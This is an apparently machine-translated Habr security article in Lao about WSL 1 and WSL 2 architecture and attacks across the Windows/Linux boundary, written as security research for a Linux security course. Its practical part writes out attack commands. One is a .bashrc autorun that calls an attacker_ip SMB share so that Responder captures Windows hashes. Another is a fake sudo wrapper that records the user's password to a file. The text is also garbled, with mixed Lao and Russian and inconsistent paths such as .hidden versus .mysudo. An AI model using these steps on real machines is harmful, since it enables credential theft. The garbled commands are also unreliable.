ການທົດລອງ WSL. ພາກທີ 1

ສະບາຍດີ, habr! OTUS ເປີດຕົວຫຼັກສູດໃໝ່ໃນເດືອນຕຸລາ "ຄວາມປອດໄພ Linux". ໃນຄວາມຄາດຫວັງຂອງການເລີ່ມຕົ້ນຂອງຫຼັກສູດ, ພວກເຮົາແບ່ງປັນບົດຄວາມທີ່ຂຽນໂດຍຄູສອນຂອງພວກເຮົາ, Alexander Kolesnikov ກັບເຈົ້າ.

ໃນປີ 2016, Microsoft ໄດ້ນຳສະເໜີເທັກໂນໂລຍີ WSL ໃໝ່ໃຫ້ກັບຊຸມຊົນໄອທີ (Wພາຍໃນ Subsystem ສໍາລັບ Linux), ເຊິ່ງໃນອະນາຄົດເຮັດໃຫ້ມັນສາມາດລວມເອົາຄູ່ແຂ່ງທີ່ບໍ່ສາມາດແກ້ໄຂໄດ້ໃນເມື່ອກ່ອນທີ່ກໍາລັງຕໍ່ສູ້ເພື່ອຄວາມນິຍົມລະຫວ່າງຜູ້ໃຊ້ OS ທົ່ວໄປແລະຂັ້ນສູງ: Windows ແລະ Linux. ເທກໂນໂລຍີນີ້ເຮັດໃຫ້ມັນເປັນໄປໄດ້ທີ່ຈະໃຊ້ເຄື່ອງມື Linux OS ໃນສະພາບແວດລ້ອມ Windows ໂດຍບໍ່ຈໍາເປັນຕ້ອງດໍາເນີນການ Linux, ຕົວຢ່າງເຊັ່ນ, ການນໍາໃຊ້ Multi-boot. ໃນ Habr ທ່ານສາມາດຊອກຫາບົດຄວາມຈໍານວນຫລາຍທີ່ອະທິບາຍເຖິງຜົນປະໂຫຍດຂອງການນໍາໃຊ້ WSL. ຢ່າງໃດກໍຕາມ, ແຕ່ຫນ້າເສຍດາຍ, ໃນເວລາຂອງການສ້າງບົດຄວາມນີ້, ບໍ່ມີການສຶກສາກ່ຽວກັບຄວາມປອດໄພຂອງ symbiosis ຂອງລະບົບປະຕິບັດການໄດ້ພົບເຫັນຢູ່ໃນຊັບພະຍາກອນນີ້. ໂພສນີ້ຈະເປັນຄວາມພະຍາຍາມແກ້ໄຂອັນນີ້. ບົດຄວາມຈະເວົ້າກ່ຽວກັບລັກສະນະຂອງສະຖາປັດຕະຍະກໍາ WSL 1 ແລະ 2 ແລະກວດເບິ່ງຕົວຢ່າງຈໍານວນຫນຶ່ງຂອງການໂຈມຕີໃນລະບົບໂດຍໃຊ້ເຕັກໂນໂລຢີເຫຼົ່ານີ້. ບົດ​ຄວາມ​ໄດ້​ຖືກ​ແບ່ງ​ອອກ​ເປັນ 2 ພາກ​ສ່ວນ​. ທໍາອິດຈະສະຫນອງວິທີການໂຈມຕີທາງທິດສະດີຕົ້ນຕໍຈາກ Linux ແລະ Windows. ບົດ​ຄວາມ​ທີ​ສອງ​ຈະ​ກ່ຽວ​ຂ້ອງ​ກັບ​ການ​ສ້າງ​ຕັ້ງ​ສະ​ພາບ​ແວດ​ລ້ອມ​ການ​ທົດ​ສອບ​ແລະ​ການ​ຜະ​ລິດ​ການ​ໂຈມ​ຕີ​.

WSL 1: ລັກສະນະສະຖາປັດຕະຍະກໍາ

ສໍາລັບການ dive ທີ່ຖືກຕ້ອງທີ່ສຸດໃນບັນຫາຄວາມປອດໄພ WSL, ມັນຈໍາເປັນຕ້ອງໄດ້ກໍານົດ nuances ຕົ້ນຕໍທີ່ກ່ຽວຂ້ອງກັບການປະຕິບັດຂອງລະບົບຍ່ອຍ. ຫນຶ່ງໃນຫນ້າວຽກຕົ້ນຕໍທີ່ແກ້ໄຂໂດຍ WSL ແມ່ນຄວາມສາມາດໃນການເຮັດວຽກຜ່ານ Linux terminal ໃນໂຮດທີ່ໃຊ້ Windows OS. ນອກຈາກນີ້, ຄວາມເຂົ້າກັນໄດ້ທີ່ສະເຫນີແມ່ນພື້ນເມືອງທີ່ Linux executables (ELFs) ສາມາດດໍາເນີນການໂດຍກົງໃນລະບົບ Windows. ເພື່ອບັນລຸເປົ້າຫມາຍເຫຼົ່ານີ້, ລະບົບຍ່ອຍພິເສດໄດ້ຖືກສ້າງຂື້ນໃນ Windows 10 ທີ່ຊ່ວຍໃຫ້ທ່ານສາມາດເອີ້ນໃຊ້ Linux ໂດຍໃຊ້ຊຸດຂອງການໂທລະບົບສະເພາະ - ດັ່ງນັ້ນ, ໄດ້ມີການພະຍາຍາມສ້າງແຜນທີ່ຊຸດຂອງ Linux syscalls ໃນ Windows. ນີ້ໄດ້ຖືກປະຕິບັດທາງດ້ານຮ່າງກາຍໂດຍການເພີ່ມໄດເວີໃຫມ່ແລະຮູບແບບຂະບວນການໃຫມ່. ສະຖາປັດຕະຍະ ກຳ ຕາມສາຍຕາເບິ່ງຄືດັ່ງນີ້:

ໃນຄວາມເປັນຈິງ, ການໂຕ້ຕອບກັບລະບົບປະຕິບັດການ Linux ໄດ້ຖືກຈັດຕັ້ງໂດຍຜ່ານໂມດູນ kernel ຫຼາຍແລະຂະບວນການປະເພດພິເສດ - pico . ຈາກແຜນວາດຂ້າງເທິງ, ທ່ານສາມາດເຫັນໄດ້ວ່າຂະບວນການທີ່ແລ່ນຢູ່ໃນ Linux instance ເທິງໂຮດຈະຕ້ອງເປັນ native ແລະຕ້ອງໃຊ້ຊັບພະຍາກອນດຽວກັນກັບຄໍາຮ້ອງສະຫມັກ Windows ປົກກະຕິ. ແຕ່ວິທີການບັນລຸເປົ້າຫມາຍນີ້? ໃນໂຄງການ ຂົວ ແນວຄວາມຄິດຂະບວນການສໍາລັບ Windows ໄດ້ຖືກພັດທະນາທີ່ສະຫນອງອົງປະກອບທີ່ຈໍາເປັນທັງຫມົດຂອງລະບົບປະຕິບັດການ (ຂຶ້ນກັບສະບັບຂອງມັນ) ເພື່ອດໍາເນີນການຄໍາຮ້ອງສະຫມັກຂອງ OS ອື່ນ.

ໃຫ້ສັງເກດວ່າສິ່ງທີ່ບໍ່ມີຕົວຕົນທີ່ສະເຫນີເຮັດໃຫ້ມັນເປັນໄປບໍ່ໄດ້ທີ່ຈະສຸມໃສ່ລະບົບປະຕິບັດການ (ໂດຍສະເພາະ, Windows), ໃນຂະບວນການຂອງ OS ອື່ນຄາດວ່າຈະເປີດຕົວ, ແລະແນະນໍາວິທີການທົ່ວໄປ.

ດັ່ງນັ້ນ, ຄໍາຮ້ອງສະຫມັກໃດໆພາຍໃນຂະບວນການ pico ສາມາດດໍາເນີນການໄດ້ໂດຍບໍ່ຄໍານຶງເຖິງ Windows kernel:

1. ບັນຫາຄວາມເຂົ້າກັນໄດ້ແລະການແປພາສາຂອງການໂທລະບົບຕ້ອງໄດ້ຮັບການແກ້ໄຂໂດຍຜູ້ໃຫ້ບໍລິການພິເສດ;
2. ການຄວບຄຸມການເຂົ້າເຖິງຕ້ອງເຮັດຜ່ານຕົວຕິດຕາມກວດກາຄວາມປອດໄພ. ຈໍພາບແມ່ນຕັ້ງຢູ່ໃນແກ່ນແລະດັ່ງນັ້ນ Windows ຕ້ອງການການຍົກລະດັບໃນຮູບແບບຂອງໄດເວີໃຫມ່ທີ່ສາມາດເຮັດຫນ້າທີ່ເປັນຜູ້ໃຫ້ບໍລິການສໍາລັບຂະບວນການດັ່ງກ່າວ. ຂະບວນການ pico ຕົ້ນແບບແມ່ນໄດ້ຖືກນໍາສະເຫນີໂດຍ schematically ຂ້າງລຸ່ມນີ້:

ເນື່ອງຈາກລະບົບໄຟລ໌ Linux ໃຊ້ໄຟລ໌ທີ່ລະອຽດອ່ອນຕົວພິມນ້ອຍ ແລະຊື່ໄດເລກະທໍລີ, 2 ປະເພດຂອງລະບົບໄຟລ໌ໄດ້ຖືກເພີ່ມໃສ່ Windows ເພື່ອເຮັດວຽກກັບ WSL - VolFS ແລະ DriveFS. VolFS ແມ່ນການປະຕິບັດລະບົບໄຟລ໌ Linux, DriveFS ເປັນລະບົບໄຟລ໌ທີ່ເຮັດວຽກຕາມກົດລະບຽບຂອງ Windows, ແຕ່ມີຄວາມສາມາດທີ່ຈະເລືອກເອົາກໍລະນີທີ່ລະອຽດອ່ອນ.

WSL 2

WSL 1 ມີຂໍ້ຈໍາກັດຈໍານວນຫນຶ່ງທີ່ບໍ່ອະນຸຍາດໃຫ້ໃຊ້ເພື່ອແກ້ໄຂລະດັບສູງສຸດຂອງຫນ້າວຽກ: ຕົວຢ່າງ, ມັນບໍ່ມີຄວາມສາມາດໃນການແລ່ນແອັບພລິເຄຊັນ Linux 32-bit, ແລະມັນເປັນໄປບໍ່ໄດ້ທີ່ຈະໃຊ້ໄດເວີອຸປະກອນ. ດັ່ງນັ້ນ, ໃນປີ 2020, WSL 2 ຖືກປ່ອຍອອກມາ, ເຊິ່ງໄດ້ປ່ຽນວິທີການສ້າງລະບົບຍ່ອຍ. WSL 2 ເປັນເຄື່ອງ virtual ທີ່ດີທີ່ສຸດທີ່ກົງກັບຄຸນລັກສະນະການບໍລິໂພກຊັບພະຍາກອນຂອງ WSL 1. ໃນປັດຈຸບັນ, ອີງຕາມບັນຫາທີ່ແກ້ໄຂໂດຍຜູ້ໃຊ້ Windows OS, ທ່ານສາມາດເລືອກເວີຊັນທີ່ຕ້ອງການຂອງລະບົບຍ່ອຍ Linux. ເພື່ອຫຼຸດຜ່ອນຄວາມອ່ອນແອທີ່ເປັນໄປໄດ້, WSL 2 ໄດ້ຖືກປະຕິບັດໂດຍອີງໃສ່ Hyper-V ໃນ Windows 10. ໃນຮູບແບບນີ້, Windows ມີຄວາມສາມາດທີ່ຈະດໍາເນີນການ kernel ລະບົບປະຕິບັດການ Linux ໃນການໂດດດ່ຽວ. ມັນເປັນມູນຄ່າທີ່ຈະຈື່ຈໍາວ່າສະບັບ 1 ຂອງ WSL ໄດ້ຖືກນໍາສະເຫນີເປັນລັກສະນະເບຕ້າທີ່ຄາດວ່າຈະສະແດງໃຫ້ເຫັນທິດທາງຂອງການພັດທະນາ Windows ໃນຂົງເຂດນີ້, ດັ່ງນັ້ນການຫັນປ່ຽນໄປສູ່ Hyper-V ແມ່ນຫຼີກລ່ຽງບໍ່ໄດ້. ສະຖາປັດຕະຍະກໍາສຸດທ້າຍເບິ່ງຄືວ່າ:

ໃນສະບັບນີ້, ແກ່ນ Windows ແລະ Linux ມີຊັບພະຍາກອນຂອງຕົນເອງແລະຈຸດຕັດກັນມີຢູ່ໃນລະບົບໄຟລ໌ເທົ່ານັ້ນ, ແຕ່ຈຸດຕັດກັນນີ້ບໍ່ສົມບູນ. ປະຕິສໍາພັນລະຫວ່າງລະບົບໄຟລ໌ແມ່ນດໍາເນີນໂດຍຜ່ານເຄື່ອງຫຸ້ມຫໍ່ client-server ທີ່ເຮັດວຽກໂດຍໃຊ້ໂປໂຕຄອນ 9P.

ມື້ນີ້ Microsoft ໃຫ້ຄວາມສາມາດໃນການສະຫຼັບລະຫວ່າງ WSL 1 ແລະ WSL 2. ທັງສອງຮຸ່ນແມ່ນມີໃຫ້ສໍາລັບການນໍາໃຊ້.

ຄວາມປອດໄພ WSL

ໃນປັດຈຸບັນ, ມີວຽກງານຈໍານວນຫນຶ່ງທີ່ອະທິບາຍວິທີການນໍາໃຊ້ເຄື່ອງມືທີ່ຖືກຕ້ອງຕາມກົດຫມາຍເພື່ອທໍາຮ້າຍການສື່ສານລະຫວ່າງລະບົບຍ່ອຍ. ພວກເຮົາຈະໃຊ້ສະຄິບຂອງພວກເຂົາເພື່ອກວດເບິ່ງຄວາມກ່ຽວຂ້ອງຂອງການໂຈມຕີໃນເວລາຂຽນ. ບັນຊີລາຍຊື່ທົ່ວໄປຂອງການໂຈມຕີ ແລະສະຖານະການ:

1. ການ​ປະ​ຕິ​ບັດ​ລະ​ບົບ​ເອ​ກະ​ສານ​: ສິດ​ໃນ​ການ​ເຂົ້າ​ເຖິງ​, ມີ​ບັນ​ຊີ​ລາຍ​ການ​ທີ່​ແບ່ງ​ປັນ / ກົນ​ໄກ​ການ​ແລກ​ປ່ຽນ​ຂໍ້​ມູນ​.

ການຄົ້ນຄວ້າໄດ້ດໍາເນີນການເພື່ອກໍານົດການລະເມີດກົດລະບຽບການເຂົ້າເຖິງຈາກ Linux FS->Windows FS, Windows FS->Linux FS. ການຄົ້ນຄວ້າໄດ້ສະແດງໃຫ້ເຫັນຄວາມສາມາດໃນການດັດແປງໄຟລ໌ໃດຫນຶ່ງພາຍໃນ OS ເປົ້າຫມາຍ. ຄວາມພະຍາຍາມກໍ່ໄດ້ຖືກເຮັດເພື່ອທົດແທນ, ສ້າງຊ້ໍາກັນແລະລຶບບາງສ່ວນຂອງລະບົບໄຟລ໌.

ສະຖານະການ:

• A. ການໂຈມຕີຈາກລະບົບປະຕິບັດການ Windows - ການແກ້ໄຂໄຟລ໌ຈາກລະບົບ /etc ຂອງ Linux OS.
• B. ການໂຈມຕີຈາກລະບົບປະຕິບັດການ Linux - ການແກ້ໄຂໄຟລ໌ໃນໄດເລກະທໍລີ: C:Windows, C:Program Files, C:Users<User>

2. ການປະຕິບັດຂອງ stack ເຄືອຂ່າຍ.

ການຄົ້ນຄວ້າໄດ້ຖືກປະຕິບັດໂດຍໃຊ້ຕົວຢ່າງຂອງການໂຈມຕີຈາກລະບົບປະຕິບັດການ Linux ໃນ Windows. ຄຸນນະສົມບັດຂອງ stack ເຄືອຂ່າຍໄດ້ຖືກນໍາໃຊ້, ຄື, ກົນໄກການຢັ້ງຢືນໃນຊັບພະຍາກອນຕ່າງໆ.

ສະຖານະການ:

• ການເປີດການເຂົ້າເຖິງພອດທີ່ຄອບຄອງຢູ່ໃນລະບົບ Windows
• ການເປີດທ່າເຮືອໂດຍບໍ່ມີສິດທິທີ່ເຫມາະສົມ
• ແລ່ນ shell reverse ໂດຍໃຊ້ໄຟລ໌ elf ໃນລະບົບປະຕິບັດການ Windows.

3. ເຊື່ອງການເປີດຕົວຂະບວນການຊອບແວທີ່ເປັນອັນຕະລາຍໂດຍໃຊ້ລະບົບຍ່ອຍ WSL.

ການຄົ້ນຄວ້າແມ່ນອີງໃສ່ຄວາມຈິງທີ່ງ່າຍດາຍ - ລະບົບຍ່ອຍຄວາມປອດໄພບໍ່ສາມາດຂັດຂວາງເຫດການໃນ kernel ອື່ນທີ່ເຮັດວຽກໂດຍໃຊ້ຜູ້ໃຫ້ບໍລິການທີ່ຖືກຕ້ອງຈາກລະບົບປະຕິບັດການໃນກໍລະນີຂອງ WSL 1. ໃນກໍລະນີຂອງ WSL 2, ບໍ່ມີວິທີທີ່ຈະເບິ່ງເຫດການທີ່ເກີດຂຶ້ນ. ໃນ kernel ແຍກຕ່າງຫາກພາຍໃນເຄື່ອງ virtual ນ້ໍາຫນັກເບົາ.

ສະຖານະການ:

1) ເປີດໃຊ້ແອັບພລິເຄຊັນສໍາລັບການເຂົ້າເຖິງລະບົບຫ່າງໄກສອກຫຼີກ ແລະເບິ່ງເຫດການທີ່ບັນທຶກໄວ້.

ການທົດລອງ WSL 1: ການສະກັດເອົາ hash (Windows)

ໃນທີ່ສຸດພວກເຮົາໄດ້ເຖິງພາກປະຕິບັດ. ທໍາອິດ, ທ່ານຈໍາເປັນຕ້ອງໄດ້ຕັ້ງຄ່າສະພາບແວດລ້ອມການທົດສອບ. ການທົດລອງທັງຫມົດຈະຖືກປະຕິບັດຢູ່ໃນ bench ທີ່ມີການຕິດຕັ້ງ Windows 10 2004. ຮູບພາບ Ubuntu 18.04 ຖືກເລືອກເປັນຮູບພາບຂອງລະບົບປະຕິບັດການສໍາລັບ WSL. ຮູບ​ພາບ​ໄດ້​ຖືກ​ຄັດ​ເລືອກ​ໃນ​ການ​ສຸ່ມ​, ແລະ​ອື່ນໆ​ຈະ​ເຮັດ​ວຽກ​ຄື​ກັນ​. ຄໍາສັ່ງສໍາລັບການຕັ້ງ stand:

ກ່ອນອື່ນ ໝົດ ທ່ານຕ້ອງເປີດຕົວ powershell.exe ເປັນຜູ້ບໍລິຫານ.

ສໍາລັບ WSL 1 ທ່ານຈໍາເປັນຕ້ອງດໍາເນີນການຄໍາສັ່ງ:

1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux #Включить функцию WSL
2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804

-OutFile ~/Ubuntu.appx -UseBasicParsing #Загрузить образ Linux из магазина Microsoft

Ubuntu.appx install —root #Установим образ

Возможно, придется прокликать процесс настройки и создать нового пользователя, который будет иметь меньше прав, чем root. Для наших тестов это будет обычный пользователь sam.

Restart-Computer #Перезагрузим

ຫຼັງຈາກ rebooting stand, ທ່ານສາມາດໂທຫາຄໍາສັ່ງ bash. ຖ້າທຸກສິ່ງທຸກຢ່າງເຮັດວຽກຢ່າງຖືກຕ້ອງ, ທ່ານຈະເຫັນຜົນຜະລິດທີ່ຄ້າຍຄືກັນໃນ Windows console:

ພວກເຮົາຈະໃຊ້ການແຈກຢາຍ Kali Linux ເປັນເຄື່ອງຂອງຜູ້ໂຈມຕີ; ເຄື່ອງຈັກທັງໝົດຈະຕ້ອງຢູ່ໃນເຄືອຂ່າຍທ້ອງຖິ່ນດຽວກັນ.

ໃຫ້ສົມມຸດວ່າພວກເຮົາມີການເຂົ້າເຖິງ WSL ທີ່ບໍ່ໄດ້ຮັບສິດໃນເຄື່ອງ Windows. ໃຫ້ພະຍາຍາມໂຈມຕີລະບົບປະຕິບັດການ Linux ໂດຍການໂທຫາຄໍາສັ່ງຈາກ Linux. ເພື່ອປະຕິບັດການໂຈມຕີ, ພວກເຮົາຈະໃຊ້ເຕັກນິກ autorun ງ່າຍໆ - ພວກເຮົາຈະເພີ່ມສະຄິບຂອງພວກເຮົາສໍາລັບການປະຕິບັດໃນສະພາບແວດລ້ອມ Linux. ເພື່ອເຮັດສິ່ງນີ້, ທ່ານຈໍາເປັນຕ້ອງໄດ້ປ່ຽນໄຟລ໌ .bashrc.

ໃນເຄື່ອງທີ່ມີ WSL ພວກເຮົາປະຕິບັດ:

	1. bash
	2. Переходим в домашнюю директорию пользователя: cd /home/sam/
	2. echo  «/home/sam/.attack.sh» >> .bashrc
	3. echo «icalcs.exe » \\\\attacker_ip\\shareName\\» > /dev/null 2>&1» >> .attack.sh
	4. chmod u+x .attack.sh
	5. exit

ໃນເຄື່ອງ Kali Linux ພວກເຮົາແລ່ນ:

1. Responder -I eth0 -rdvw

ໃນເຄື່ອງ Windows, ໃຫ້ເປີດ bash.

ພວກເຮົາລໍຖ້າຜົນໄດ້ຮັບຢູ່ໃນເຄື່ອງ Kali Linux:

ດັ່ງນັ້ນ, ພວກເຮົາໄດ້ຮັບຜູ້ໃຊ້ Windows hashes ຜ່ານລະບົບຍ່ອຍ WSL ໂດຍການປະຕິບັດຄໍາສັ່ງໃນລະບົບ Linux.

ການທົດລອງ WSL 1: ການໄດ້ຮັບລະຫັດຜ່ານຜູ້ໃຊ້ (Linux OS)

ມາທົດລອງອີກອັນໜຶ່ງ. ໃນລະຫວ່າງການກວດສອບນີ້ພວກເຮົາຈະເພີ່ມໃສ່ໄຟລ໌ .bashrc ຄໍາສັ່ງຈໍານວນຫນຶ່ງເພື່ອໃຫ້ໄດ້ຮັບລະຫັດຜ່ານຜູ້ໃຊ້ຂອງລະບົບປະຕິບັດການ Linux.

ໃຫ້ເປີດ bash ແລະໃສ່ຄໍາສັ່ງ:

1. mkdir .hidden
2. echo "export PATH=$HOME/.hidden/:$PATH:" >> .bashrc
3. echo "read -sp "[sudo] password for $USER: " sudopass" > .hidden/sudo
4. echo "echo """ >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo "Sorry, try again."" >> .mysudo/sudo
7. echo "echo $sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo $@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exit

ເພື່ອສຳເລັດການໂຈມຕີ, ຜູ້ໃຊ້ Sam ຕ້ອງການໂທຫາ sudo ໃນ terminal Linux. ຫຼັງຈາກນີ້, ລະຫັດຜ່ານຜູ້ໃຊ້ Linux OS ຈະຢູ່ໃນໄຟລ໌ pass.txt:

ການປະຕິບັດການໂຈມຕີໄດ້ຖືກມອບໃຫ້ສໍາລັບຂໍ້ມູນທາງທິດສະດີເທົ່ານັ້ນ.

ສ່ວນຕໍ່ໄປຂອງບົດຄວາມຈະອະທິບາຍການປະຕິບັດຂອງອະນຸສັນຍາ 9P, ພິຈາລະນາການສ້າງເຄື່ອງສະແກນສໍາລັບໂປໂຕຄອນນີ້, ແລະຍັງປະຕິບັດການໂຈມຕີໂດຍໃຊ້ມັນ.

ລາຍການວັນນະຄະດີທີ່ໃຊ້ແລ້ວ

• WSL 2 ການຄົ້ນຄວ້າເຂົ້າໄປໃນທີ່ບໍ່ດີ
• ລະບົບຍ່ອຍ Windows ສໍາລັບເອກະສານ Linux

ອ່ານ​ຕື່ມ

• ວິທີການເລືອກຊອບແວ Linux Kernel Patching ໃນເວລາຈິງ

ແຫຼ່ງຂໍ້ມູນ: www.habr.com